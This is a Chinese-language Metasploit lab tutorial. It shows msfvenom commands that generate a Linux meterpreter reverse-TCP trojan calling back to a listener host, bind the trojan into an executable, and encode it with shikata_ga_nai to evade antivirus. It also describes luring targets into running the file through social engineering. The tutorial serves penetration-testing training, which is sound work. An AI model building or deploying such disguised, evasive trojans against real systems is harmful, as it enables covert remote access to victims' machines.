Metasploit实现木马生成、捆绑及免杀

5次阅读

共计 3426 个字符,预计需要花费 9 分钟才能阅读完成。

实验简介
在一次渗透测试的过程中,避免不了使用到社会工程学的方式来诱骗对方运行我们的木马或者点击我们准备好的恶意链接。木马的捆绑在社会工程学中是我们经常使用的手段,而为了躲避杀毒软件的查杀,我们又不得不对木马进行免杀处理。本次实验我们将学习如何通过 Metasploit 的 msfvenom 命令来生成木马、捆绑木马以及对木马进行免杀处理。
实验环境
Kali Linux
知识点
msfvenom 如何生成木马 msfvenom 如何捆绑木马到常用软件 msfvenom 如何对木马进行编码免杀
效果图

Metasploit 是一个可用来发现、验证和利用漏洞的渗透测试平台,目前实验环境中 Metasploit 的版本是 v4.12.23-dev 包含了 1577 个 exploits、907 个 auxiliary、272 个 post、455 个 payloads、39 个 encoders 以及 8 个 nops。
其中 exploits 是漏洞利用模块 (也叫渗透攻击模块),auxiliary 是辅助模块,post 是后渗透攻击模块,payloads 是攻击载荷也就是我们常说的 shellcode,这里生成的木马其实就是 payloads。
在本次试验中我们主要使用的是 msfpayload(攻击荷载生成器),msfencoder(编码器)的替代品 msfvenom,msfvenom 集成了前两者的全部功能,可以生成 payload(本节所说的木马)以及对 payload 编码免杀和避免坏字符、捆绑木马等。在 Kali Linux 中默认安装了 Metasploit framework 我们可以直接使用。
在进行木马生成实验之前我们先来学习一下 msfvenom 命令的用法。在 Kali linux 下输入如下命令, 可以看到 msfvenom 的命令行选项。
$ cd /usr/bin$ ./msfvenom -h
Options:
-p, –payload <payload> Payload to use. Specify a ‘-‘ or stdin to use custom payloads
–payload-options List the payload’s standard options
-l, –list [type] List a module type. Options are: payloads, encoders, nops, all
-n, –nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, –format <format> Output format (use –help-formats for a list)
–help-formats List available formats
-e, –encoder <encoder> The encoder to use
-a, –arch <arch> The architecture to use
–platform <platform> The platform of the payload
–help-platforms List available platforms
-s, –space <length> The maximum size of the resulting payload
–encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, –bad-chars <list> The list of characters to avoid example: ‘\x00\xff’
-i, –iterations <count> The number of times to encode the payload
-c, –add-code <path> Specify an additional win32 shellcode file to include
-x, –template <path> Specify a custom executable file to use as a template
-k, –keep Preserve the template behavior and inject the payload as a new thread
-o, –out <path> Save the payload
-v, –var-name <name> Specify a custom variable name to use for certain output formats
–smallest Generate the smallest possible payload
-h, –help Show this message
这里我们主要用到 -p、- f 和 - o 选项,下面我们分别来介绍一下它们的含义及用法。
- p 选项:用来指定需要使用的 payload, 可以指定 ’-‘ 或者 stdin 来自定义 payload。如果不知道 payload 都包括哪些选项可以使用 –payload-options 列出 payload 的标准选项。- f 选项:用来指定 payload 的输出格式,可以使用 –help-formats 来列出可选的格式。- o 选项:用来指定输出的 payload 的保存路径,这里我们也可以采用重定向的方式来替代 - o 选项。在生成木马之前我们先使用 - l 选项来列出指定模块的所有可用资源 (模块类型包括: payloads, encoders, nops, all)。这里我们指定 payloads 模块来查看都有哪些可用的木马。
$ msfvenom -l payloads
根据上面各个选项的解释,现在我们就用选择好的 payload 来生成 linux 下的木马程序吧!输入命令如下:
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -f elf -o /root/payload.elf
命令执行完毕后木马就生成了,在上面的命令中我们使用 - p 选项指定了 payload 并设置了监听主机的 ip 地址,由于默认这个 payload 设置监听端口为 4444, 所以我们这里没有设置监听端口,需要更改监听端口可以设置 LPORT 参数。
通常我们生成了木马之后,要运用社会工程学的攻击方式诱骗目标运行我们的木马程序,否则我们的木马只是玩具罢了,记住:“没人运行的木马不是好木马”。这里我们就来学习一下如何将木马捆绑到一个常用的应用程序上,这样我们就可以上传到某些地方来诱骗目标下载并运行我们的木马程序 (记住不要拿这个来做坏事,我们要做个正直的白帽子)。
捆绑木马我们还是使用上面提到的 msfvenom 命令,只不过这里我们要用到一个新的命令行选项 -x。我们来看一下 - x 选项的用法及含义。
- x 选项:允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上。
为了方便演示,我们就将上一节生成的木马当做常用应用程序来捆绑木马。
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -f elf -x /root/payload.elf -o /root/payload_backdoor.elf
虽然我们已经准备好了木马程序,并且也捆绑到了常用的应用程序上,但是现在杀毒软件泛滥,不经过免杀就算成功上传到目标主机,估计还没等运行就被杀掉了。这里用 msfvenom 生成木马同时对 payload 编码来实现木马的简单免杀。我们先来学习一下我们要用到的命令选项:
- e 选项:用来指定要使用的编码器。- i 选项:用来指定对 payload 编码的次数。先来看一下都有哪些编码器可用:
$ msfvenom -l encoders
这里我们挑选一个免杀效果比较好的编码器 x86/shikata_ga_nai,进行编码:
$ cd /usr/share$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -e x86/shikata_ga_nai -i 5 -f elf -o /root/payload_encoder.elf
这样木马基本上就可以躲避部分杀毒软件的查杀,其实还可以对木马程序进行多次编码,虽然可以提高木马的免杀几率,不过可能会导致木马程序不可用。当然要想免杀效果更好就需要使用 Metasploit pro 版本或者给木马加壳、修改木马的特征码等等,不过要想躲过全部杀毒软件的查杀则会有些难度,通常会针对某个杀毒软件进行免杀。

正文完
 0